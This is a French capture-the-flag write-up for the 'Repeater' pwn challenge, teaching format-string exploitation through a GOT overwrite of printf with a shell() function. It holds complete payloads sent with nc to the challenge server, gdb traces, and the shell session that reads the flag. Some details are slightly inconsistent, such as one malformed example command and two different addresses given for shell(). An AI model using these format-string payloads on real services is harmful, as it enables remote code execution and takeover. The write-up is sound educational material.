Pour un rendu optimal, activez JavaScript

[GreenFlag] Pwn - Repeater (Intermediaire)

 ·  ☕ 8 min de lecture  ·  ✍️ ValekoZ

Description

Un abruti consomme de l’électricité pour faire tourner un service complétement inutile: un service netcat qui répète ce qu’on lui envoie.

Faite le lui payer en prenant le contrôle du serveur, vous pouvez vous y connecter à l’aide de la commande nc greenflag.valekoz.fr 8001

Le programme tournant sur le serveur était également fourni.

Observations

Dans un premier temps, lançons le programme, et utilisons le normalement pour savoir de quoi il s’agit.

1
2
$ ./vuln
[-] Usage: ./vuln <port>

À priori, le binaire écoute les connexions entrantes sur un port donné. En se connectant au programme tournant en local on obtient le comportement suivant:

1
2
3
4
5
6
7
$ nc localhost 4444
foo
foo
bar
bar
q
q

Le programme se contente de répéter ce que l’utilisateur affiche. En faisant quelques tests, on se rend comptes que le programme est vulnérable au format strings:

1
2
3
$ nc localhost 4444
%p %p %p %p
0x40 0xf7f7f540 0x8049587 0x8048436

De plus, le programme possède une fonction shell dont le code est le suivant (on peut la trouver avec ghidra par exemple):

1
2
3
void shell(char *command){
    system(command);
}

Il pourrait donc être intéressant de profiter du format string pour exécuter cette fonction en lui donnant "/bin/sh" en argument.

Format String

Un format string est une vulnérabilitée causée par une mauvaise utilisation de printf (ou autre fonction de la même famille). Le premier argument est censé être une chaîne de caractère donnant le “format” de ce qu’il faut afficher.

Si l’utilisateur a le contrôle sur cet argument, il peut demander a printf d’afficher le n-ème argument sous forme d’entier par exemple ("%x"), même si cet argument n’a jamais été passé à la fonction: printf va se contenter de lire dans la stack à l’endroit correspondant à la position du prétendu argument.

Dans ce programme, le but ne va pas seulement être de lire dans la mémoire, mais nous allons vouloir y écrire. Pour cela, nous pouvons utiliser le format "%n", qui permet d’écrire à l’adresse spécifiée en argument le nombre de caractères écrits jusqu’à ce format.

Attention, si plusieurs "%n" se suivent, le compteur de caractères n’est pas remis à 0, et ils donneront donc tous le compte depuis le début de la chaîne affichée.

Pour cela, on va dans un premier temps trouver l'offset du format string:

1
2
3
$ nc localhost 4444
AAAA %23$x
AAAA 41414141

Le début de notre chaîne de caractère est considérée par le programme comme étant le 23ème argument.

Si on voulait écrire 42 à l’adresse 0xdeadbeef par exemple, on pourrait exécuter la commande suivante:

1
$ python2 -c "print '\xef\xbe\xad\xde' + '%38x' + %23$n" | nc localhost 4444
  • On met 0xdeadbeef au niveau du 23ème argument du printf, on a déjà écrit 4 octets.
  • On écrit donc encore 38 octets en formattant un int sur 38 caractères
  • On écrit le nombre de caractères écrits jusque là à l’adresse spécifiée au 23ème argument (donc 0xdeadbeef)

Pour écrire des nombres plus grands, on est obligé de découper le nombre en plusieurs octets. Pour écrire 0xcafec0de par exemple, on aurait d’abord écrit 0xde à l’adresse 0xdeadbeef, puis 0x1c0 à 0xdeadbeef + 1, puis 0x1fe à 0xdeadbeef + 2 et finalement 0x2de à 0xdeadbeef + 3.

Global Offset Table

Maintenant qu’on sait comment écrire dans la mémoire, on veut savoir où écrire, et qu’est ce qu’on va écrire.

On va dans un premier temps essayer de comprendre qu’est-ce que la Global Offset Table (GOT) est.

Sur les systèmes récents, les bibliothèques utilisées par les différents programmes peuvent être chargés à des adresses aléatoires dans la mémoire. C’est ce qu’on appelle un PIE (Position Independant Executable).

Lorsqu’un programme veut appeler une fonction appartenant à une de ces bibliothèques, il doit donc d’abord trouver l’adresse de la fonction dans la mémoire. C’est le travail de dl_resolve.

Mais il serait peu efficace d’appeler dl_resolve à chaque appel de fonction. C’est pour ça qu’à chaque fois que l’adresse d’une fonction est résolue, celle-ci est stockée dans un tableau de pointeurs appelé GOT.

La procédure est la suivante:

  1. Le programme appelle une fonction, printf@plt par exemple.
    • Il s’agit en fait d’un petit bout de code placé dans la Procedure Linkage Table (PLT)
  2. La première instruction de cette entrée de la PLT est un jump vers l’adresse de printf stockée dans la GOT.
  3. Si la fonction n’a jamais été appelée, l’entrée de la GOT pointe en fait vers l’instruction suivante dans la PLT, permettant de résoudre l’adresse de la fonction
  4. Si la fonction a déjà été appelée, dl_resolve a déjà résolu l’adresse de la fonction, et le résultat a été placé dans la GOT. Après le jump de l’étape 2 on est donc dans la fonction printf.

Pourquoi je vous explique tout ça ? Imaginez qu’on puisse nous même écrire dans le GOT, on pourrait alors contrôler le flux d’exécution du programme lors de l’appel d’une certaine fonction !

En plus, si la fonction qu’on veut hijacker prenais en argument une chaîne de caractère, et qu’on puisse la contrôler, alors on pourrait facilement appeler shell("/bin/sh/").

Le programme est composé d’une boucle, appelant à chaque tour de boucle printf avec comme argument l’entrée utilisateur … c’est la fonction parfaite pour notre exploit.

Exploitation à la main

Pour exploiter ce programme, on a besoin de plusieurs informations:

  • L’adresse de printf@got.plt
    • 0x0804c014
  • L’adresse de shell
    • 0x0804939a
  • L’offset du format string
    • 23

Pour l’adresse de l’entrée de la GOT qu’on veut réécrire, on peut la trouver en allant dans la PTL avec un outil tel que Cutter ou ghidra.

Pour l’adresse de shell, on peut la trouver de la même manière ou avec readelf par exemple.

L’offset du format string a déjà été trouvé précédement.

On doit donc maintenant écrire 0x08049396 à 0x0804c014.

  1. 0x96 à 0x0804c014
  2. 0x193 à 0x0804c015
  3. 0x204 à 0x0804c016
  4. 0x208 à 0x0804c017

On commence donc la chaine par les 4 adresses de 4 octets, qui prennent donc déjà 16 octets au total.

On doit donc écrire ensuite

  1. 0x96 - 16 = 134 caractères jusqu’au premier "%n"
  2. 0x193 - 0x96 = 253 caractères jusqu’au second "%n"
  3. 0x204 - 0x193 = 113 caractères ensuite
  4. Puis 0x208 - 0x204 = 4 caractères

Notre payload est donc

"\x14\xc0\x04\x08" + "\x15\xc0\x04\x08" + "\x16\xc0\x04\x08" + "\x17\xc0\x04\x08" + "%134x" + "%23$n" + "%253x" + "%24$n" + "%113x" + "%25$n" + "AAAA" + "%26$n"
1
$ (python2 -c 'print "\x14\xc0\x04\x08" + "\x15\xc0\x04\x08" + "\x16\xc0\x04\x08" + "\x17\xc0\x04\x08" + "%134x" + "%23$n" + "%253x" + "%24$n" + "%113x" + "%25$n" + "AAAA" + "%26$n"'; cat) | nc localhost 4444

Malheureusement, l’exploit ne fonctionne pas … il reste une petite subtilité que je n’avais pas anticipé. Essayons de comprendre ce qui se passe à l’aide de gdb:

1
2
3
4
5
6
7
$ gdb vuln
For help, type "help".
(gdb) disas main
...
   0x080495e7 <+550>:   call   0x8049180 <printf@plt>
   0x080495ec <+555>:   add    $0x10,%esp
...

On cherche le printf qu’on exploite pour mettre un breakpoint après

(gdb) b *0x080495ec
Breakpoint 1 at 0x80495ec

On indique à gdb de debug le child lorsqu’il y a un fork

(gdb) set follow-fork-mode child

Et on lance le programme sur le port 4444

(gdb) r 4444
[Attaching after process 43022 fork to child process 43050]
[New inferior 2 (process 43050)]
[Detaching after fork from parent process 43022]
[Inferior 1 (process 43022) detached
[Switching to process 43050]

Thread 2.1 "vuln" hit Breakpoint 1, 0x080495ec in main ()
(gdb) x/a 0x0804c014
0x804c014 <printf@got.plt>:     0x8049396 <shell>

On voit qu’on a bien réécrit l’adresse de printf dans le GOT.

(gdb) ni
0x080495ef in main ()
(gdb) 
0x080495f5 in main ()
(gdb) 
0x080495f7 in main ()
(gdb) 
0x080495fa in main ()
(gdb) 
0x080495fb in main ()
(gdb) 

Thread 2.1 "vuln" received signal SIGSEGV, Segmentation fault.
0x08000002 in ?? ()
(gdb) x/i 0x080495fb
   0x80495fb <main+570>:        call   0x8049190 <fflush@plt>

Le crash a en fait lieu sur le call du fflush après le printf … lorsqu’on réécrit l’adresse de printf, on écrit 4 octets à chaques "%n" et on réécrit donc en partie l’adresse de fflush qui est juste après dans la mémore …

(gdb) x/a 0x0804c018
0x804c018 <fflush@got.plt>:     0x8000002

Pour résoudre ce problème, on peut simplement utiliser "%hhn" qui réécrit seulement 1 seul octet au lieu de 4:

(python2 -c 'print "\x14\xc0\x04\x08" + "\x15\xc0\x04\x08" + "\x16\xc0\x04\x08" + "\x17\xc0\x04\x08" + "%134x" + "%23$hhn" + "%253x" + "%24$hhn" + "%113x" + "%25$hhn" + "AAAA" + "%26$hhn"'; cat) | nc greenflag.valekoz.fr 8001
                                                                                                                                    40                                                                                                                                                                                                                                                     f7f77580                                                                                                          8049587AAAA/bin/sh
ls
flag
vuln
vuln.c
cat flag
HTN{bc725883fdda9421374d7c7a30fd612211a8a353b9acc09e4824122703d1554a}

Lorsque le programme nous redonne la main sur l’entrée standard, on écrit "/bin/sh" pour le passer en argument à la fonction shell, et le tour est joué 🙂

Exploitation avec pwntools

À écrire plus tard quand j’aurai pas la flemme 😅

Conclusion

L’objectif de ce challenge était de découvrir une technique d’exploitation utilisée avec les format strings, permettant de contrôler le flux d’exécution du programme grâce au write what where que la vulnérabilité nous fourni.

2 participants ont tenté de résoudre ce challenge sans succès, mais je tiens quand même à les féliciter pour leur détérmination (vous êtes les boss les mecs 😉)

C’est vrai que ce challenge était plutôt compliqué sans les connaissances nécessaires, il aurait peut-être eu sa place dans un CTF un peu plus long pour laisser plus de temps au participants pour se familiariser avec les concepts nécessaires à la résolution du challenge.

Partagez

Hackin'TN
RÉDIGÉ PAR
ValekoZ
Président Hackin'TN 2021